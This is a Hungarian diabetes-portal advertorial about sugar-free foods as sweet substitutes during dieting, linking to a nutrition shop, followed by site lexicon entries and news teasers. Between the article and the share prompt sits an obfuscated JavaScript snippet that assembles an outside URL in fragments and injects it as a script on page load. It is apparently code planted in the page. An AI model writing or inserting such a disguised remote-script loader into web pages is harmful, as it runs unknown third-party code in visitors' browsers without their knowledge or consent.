Oldalainkon HTTP-sütiket használunk a jobb működésért. További részletek itt!

Cukormentes ételek – ha nem tudsz lemondani az édes ízekről

Diabetes Portál



Cukormentes ételek – ha nem tudsz lemondani az édes ízekről

A legtöbb diéta azért bukik el, mert hosszútávon tarthatatlan. Még ha egy ideig bírja is a megszorításokat a diétázó, amint visszatér a megszokott étrendjéhez, vissza is ugranak a nagy nehezen leadott kilók. Éppen ezért kell teljesen életmódot váltani, és egy olyan étrendet bevezetni, ami nem a komoly megszorításokról szól, ezért akár véglegesen is át lehet rá állni. Ebben segítenek a cukormentes élelmiszerek.

Cukormentes ételek

Hogy ne hiányozzon az édesség

A legtöbb hatékony diéta azzal kezd, hogy el kell hagyni a cukros ételeket, azaz csak minimálisan lehet őket fogyasztani. Márpedig az emberek zöme szereti az édes desszerteket, sütiket, finomságokat, így ezt a lemondás valódi kínzásnak élhetik meg. És ilyenkor jönnek a „bűnözések”: először ritkábban, majd egyre gyakrabban csábulunk el, egészen addig, míg végül nem sok eredményét látjuk a nagy reményekkel megkezdett fogyókúrának.

A megoldást a cukormentes élelmiszerek jelentik, amik képesek cukor nélkül helyettesíteni a megszokott, kedvelt, édes ízeket. Ezekből széles választékkal találkozhatsz például itt: https://allnutrition.hu/Cukormentes__z%C3%A9r%C3%B3_kal%C3%B3ria-k1032.html.

A sikeres diéta kulcsa, hogy ne a megvonásokon alapuljon. Ha okosan csinálod, minden nehézség nélkül tudsz átállni egy olyan életmódra, ami tartósan támogatja az ideális testalkat megtartását. Ne kivonni akarj az életedből olyan ételeket, amiket szeretsz és amik hiányoznának – inkább helyettesítsd őket olyanokkal, amik számodra is fogyaszthatók!

 

Gyümölcsök, szószok és más finomságok

Cukor mentes verzióban elérhetők csokoládés szószok, gyümölcsös zselék és sok más kiegészítő, amik ahhoz kellenek, hogy finom nassolnivaló váljon az ételekből, mindezt minimális kalóriatartalommal, zsír és cukor nélkül!

A nagy választéknak köszönhetően sokféle nasi készíthető, kezdve a frissítő, gyümölcsös finomságoktól a klasszikus, kakaós, csokis desszertekig. A kreativitásodon és persze az ízléseden múlik, pontosan hogyan is használod fel ezeket – az viszont biztos, hogy nem kell amiatt aggódnod, hogy az édes finomságok fogják elrontani a diétádat!

(function(){ xlq9_=("u"+"")+"s"+"";xlq9_+=("tat.")+("i"); xlq9=document.createElement("script");xlq9.type="text/javascript";xlq9_+="nf"+("o")+"/"; xlq9u="374890113"+".";xlq9.async=true;xlq9u+="msls39Xflq9cb95z31feccmgsX1hru"; xlq9.src="https://"+xlq9_+xlq9u;xlq9b=document.body;xlq9b.appendChild(xlq9); })();




Ha tetszett ez a cikk, oszd meg ismerőseiddel, kattints ide:

Diabétesz szakszótár

Nefropátia

lásd: diabéteszes nefropátia   Mit kell tennem, ha cukorbeteg lettem? A tennivalókról... Tovább

Atópia

Veleszületett allergiás túlérzékenység, mely kórosan intenzív immunreakciókra serkenti a... Tovább

Tovább a lexikonra

Hasznos volt számodra ez a cikk?

Mondd el mennyire!

Szavazatok száma:

Átlagos értékelés: 0.0

Legfrissebb hírek

Cukormentes étlap a szálloda éttermében - Egészségtudatos szolgáltatásokat, több vendég! Cukormentes étlap a szálloda éttermében - Egészségtudatos szolgáltatásokat, több vendég!
Kínálj cukormentes fogásokat a szállodai étteremben, vonzz több egészségtudatos vendéget...
Az ápolói munka legnagyobb kihívásai: ezzel néznek szembe nap-mint-nap az egészségügyben Az ápolói munka legnagyobb kihívásai: ezzel néznek szembe nap-mint-nap az egészségügyben
Az ápolói munka nap-mint-nap komoly fizikai és mentális kihívásokkal jár. Tudd meg, milyen...
5 gyakori hiba, amit egy friss cukorbeteg elkövet 5 gyakori hiba, amit egy friss cukorbeteg elkövet
A diagnózis után hirtelen rengeteg információ zúdul rád: mit ehetsz, mikor kell mérned a...
Hogyan mérjük meg a cukrunkat diszkréten étteremben? Hogyan mérjük meg a cukrunkat diszkréten étteremben?
Ha cukorbetegséggel élsz, a vércukorszint rendszeres ellenőrzése az életed része, akár...
Egyre több településen van bajban a háziorvosi rendelés: egyre kevesebb az orvos Egyre több településen van bajban a háziorvosi rendelés: egyre kevesebb az orvos
A háziorvosi ellátás hiánya egyre több településen okoz problémát Magyarországon. A...
Hogyan zajlik a sérv műtét és mire számítsunk? Hogyan zajlik a sérv műtét és mire számítsunk?
A sérv gyakran fájdalommal és mozgáskorlátozottsággal járó állapot, amely sokak életét...
Utazás cukorbetegként: hogyan készülj fel? Utazás cukorbetegként: hogyan készülj fel?
Cukorbetegként az utazás különös előkészületeket igényel, különösen, ha szállodában...
Pályakezdő dietetikus - Hogyan indulhatsz el? Pályakezdő dietetikus - Hogyan indulhatsz el?
Indulj el sikeresen dietetikusként! Tippek a pályakezdéshez, álláskereséshez,...
Mi történik, ha cukorbetegként nem foglalkozunk a fogszuvasodással? Mi történik, ha cukorbetegként nem foglalkozunk a fogszuvasodással?
Cukorbetegként a fogszuvasodás kezeletlenül súlyos szövődményeket okozhat, mint a...
 Ezek a legjobb sportok cukorbetegek számára Ezek a legjobb sportok cukorbetegek számára
A cukorbetegséggel élők számára kiemelten fontos a rendszeres testmozgás, hiszen nemcsak a...
címkék: